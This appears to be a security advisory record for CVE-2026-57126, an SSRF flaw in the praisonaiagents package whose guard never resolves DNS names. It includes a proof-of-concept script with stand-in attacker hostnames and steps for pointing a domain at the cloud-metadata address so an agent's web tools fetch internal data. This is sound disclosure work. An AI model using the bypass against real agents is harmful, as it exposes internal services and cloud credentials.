{"id":"CVE-2026-57126","aliases":["PYSEC-2026-3535"],"url":"https://o3.security/vulnerability/CVE-2026-57126","summary":"praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS","details":"# praisonaiagents: SSRF guard validates literal IPs only and never resolves DNS\n\n**Researcher:** Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research\n**Target:** https://github.com/MervinPraison/PraisonAI\n**Weakness:** CWE-918 Server-Side Request Forgery (SSRF).\n\n---\n\n## Summary\n\nThe SSRF guard shared by PraisonAI's web tools (`SpiderTools._validate_url` → `_host_is_blocked` in `praisonaiagents/tools/spider_tools.py`) inspects only **literal IP-address encodings** of the URL host. It never resolves DNS names. Any hostname whose A/AAAA record points at an internal, loopback, link-local, or cloud-metadata address passes validation and the request is issued to that target. A static internal A record is sufficient — no DNS-rebinding race is required.\n\nThe guard's own docstring claims it returns `True` \"when hostname **resolves to** loopback/private/internal targets,\" but no resolution is performed. The fix for CVE-2026-47390 added more *encodings of literal IPs* (decimal integer, `0x` hex, `inet_aton`); it did not address the *class* \"host is a name that resolves to a forbidden address.\"\n\nThe same guard is reached through two tool surfaces:\n- `scrape_page` / `crawl` / `extract_links` / `extract_text` (spider tools)\n- the `@url` mention fetch in `praisonaiagents/tools/mentions.py` (which calls the identical `SpiderTools._validate_url` then `urllib.request.urlopen`)\n\nThe correct pattern already exists in the same package: `file_tools.py` resolves the host with `socket.getaddrinfo` and checks each resolved address before fetching. `spider_tools` / `mentions` do not.\n\n## Affected packages\n\n- `pip/praisonaiagents` <= 1.6.39\n- `pip/PraisonAI` <= 4.6.39\n\n## Root cause\n\n`praisonaiagents/tools/spider_tools.py`, `_host_is_blocked` (def at line 26):\n\n```python\ndef _host_is_blocked(hostname: str) -> bool:\n    \"\"\"Return True when hostname resolves to loopback/private/internal targets.\"\"\"\n    ...\n    if host.isdigit():                                  # decimal-int IPv4 literal\n        return _ip_blocked(ipaddress.ip_address(int(host)))\n    if host.startswith(\"0x\"):                           # hex IPv4 literal\n        return _ip_blocked(ipaddress.ip_address(int(host, 16)))\n    try:\n        return _ip_blocked(ipaddress.ip_address(host))  # dotted v4 / v6 literal\n    except ValueError:\n        pass\n    try:\n        return _ip_blocked(ipaddress.ip_address(socket.inet_aton(host)))  # octal/short v4\n    except OSError:\n        pass\n    return False                                        # <-- any DNS name lands here\n```\n\nEvery branch operates on the **literal string**. For a DNS name (`attacker.example`): it is not in the literal block sets, not a `.local`/`.internal` suffix, `int(host)` is not applicable, `ipaddress.ip_address(name)` raises `ValueError` (swallowed), `inet_aton(name)` raises `OSError` (swallowed), and the function returns `False` — \"not blocked.\" `socket.getaddrinfo` / `gethostbyname` are never called anywhere in this path.\n\n`_validate_url` (def line 74) ends with:\n\n```python\n            if _host_is_blocked(parsed.hostname):\n                return False\n            return True\n```\n\nso a name verdict of \"not blocked\" yields `_validate_url(...) == True`, and the caller (`scrape_page`, or `mentions._fetch_url` at lines 273–284) proceeds to fetch the original URL via `requests` / `urllib.request.urlopen`.\n\nThe literal-IP coverage is otherwise good — Python's `ipaddress.is_reserved` / `is_private` happen to flag NAT64 (`64:ff9b::/96`), 6to4 (`2002::/16`), IPv4-mapped (`::ffff:`), and IPv4-compatible (`::/96`) forms. The single residual literal gap is deprecated site-local `fec0::/10` (`is_private` and `is_reserved` both `False`), which is low-impact on modern stacks. The DNS-name class is the material issue.\n\n### The promise that was broken\n\nThe block set explicitly contains `\"169.254.169.254\"` and `\"metadata.google.internal\"` (line 33) — documented intent to stop cloud-metadata theft. A name-based request defeats exactly that intent: register `metadata-thief.example` with an A record of `169.254.169.254`, and the literal block is never consulted because resolution never happens.\n\n## Proof of concept\n\n```python\nimport socket\nfrom praisonaiagents.tools.spider_tools import _host_is_blocked, SpiderTools\n\n# Literal forms the CVE-2026-47390 fix added — correctly blocked:\nfor h in [\"127.0.0.1\", \"2130706433\", \"0x7f000001\", \"169.254.169.254\", \"::1\"]:\n    assert _host_is_blocked(h) is True, h\n\n# DNS names that resolve to internal targets — NOT blocked (the class the fix missed):\nfor h in [\"attacker-controlled.example\", \"metadata-thief.com\", \"rebind.attacker.net\"]:\n    assert _host_is_blocked(h) is False, h     # A record may be 127.0.0.1 / 169.254.169.254\n\nst = SpiderTools\nassert st._validate_url(\"http://127.0.0.1/\") is False           # literal blocked\nassert st._validate_url(\"http://metadata-thief.com/\") is True   # name passes -> request fires\n\n# The guard never even attempts resolution:\nimport praisonaiagents.tools.spider_tools as S\nS.socket.getaddrinfo = lambda *a, **k: (_ for _ in ()).throw(RuntimeError(\"RESOLVER CALLED\"))\nassert _host_is_blocked(\"attacker.example\") is False            # no RuntimeError -> never resolved\n\nprint(\"[+] CONFIRMED: SSRF guard ignores DNS resolution; name->internal bypasses validation\")\n```\n\nEnd-to-end against a deployed agent: point any controlled domain's A record at `169.254.169.254` (or `127.0.0.1`, or an RFC1918 service), then drive an agent that has `scrape_page`/`crawl` enabled, or include the URL as an `@url` mention. The fetch reaches the internal/metadata target and its response is returned into model context.\n\n## Remediation\n\nResolve the host and apply the existing `_ip_blocked` check to **every** resolved address before fetching — the pattern already implemented in `praisonaiagents/tools/file_tools.py` (lines 339–344):\n\n```python\nresolved = socket.getaddrinfo(parsed.hostname, parsed.port or (443 if parsed.scheme == \"https\" else 80))\nfor family, _, _, _, sockaddr in resolved:\n    if _ip_blocked(ipaddress.ip_address(sockaddr[0])):\n        return True   # blocked\n```\n\nTo also close DNS rebinding (resolve-then-connect TOCTOU), pin the connection to the validated address rather than re-resolving at fetch time. Apply the same fix to both `_validate_url` and `mentions._fetch_url`. Additionally add `fec0::/10` to the IPv6 rejection set for completeness.\n\n## Steps to reproduce\n\n1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI`\n2. Run the proof of concept shown above against the cloned source.\n3. Observe the result shown under *Verified result* below.\n\n## Verified result\n\nThis PoC was executed against the live upstream code; captured output:\n\n```\n== Literal internal/loopback encodings — correctly BLOCKED ==\n   127.0.0.1            blocked=True\n   2130706433           blocked=True\n   0x7f000001           blocked=True\n   169.254.169.254      blocked=True\n   ::1                  blocked=True\n   localhost            blocked=True\n   10.0.0.5             blocked=True\n\n== DNS names whose A-record could point internal — NOT blocked (the gap) ==\n   attacker-controlled.example  blocked=False\n   metadata-thief.com           blocked=False\n   rebind.attacker.net          blocked=False\n\n== Prove resolution is NEVER attempted (monkeypatch getaddrinfo to explode) ==\n   _host_is_blocked('metadata-thief.com') = False  (no RuntimeError -> DNS never resolved)\n\n== _validate_url verdict (replicating the method's host check on the real func) ==\n   http://127.0.0.1/        -> validate=False  (blocked)\n   http://metadata-thief.com/ -> validate=True  (PASSES -> request fires)\n\n[+] CONFIRMED: name->internal bypasses the SSRF guard; getaddrinfo/gethostbyname never called.\n```\n\n## Credit\n\nKai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.","published":"2026-06-18T13:56:46Z","modified":"2026-07-23T15:11:40.675415589Z","cvss":{"score":8.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"praisonaiagents","fixedVersion":"1.6.59"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vxgj-xg5c-p4h7"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-23T15:11:40.675415589Z"}}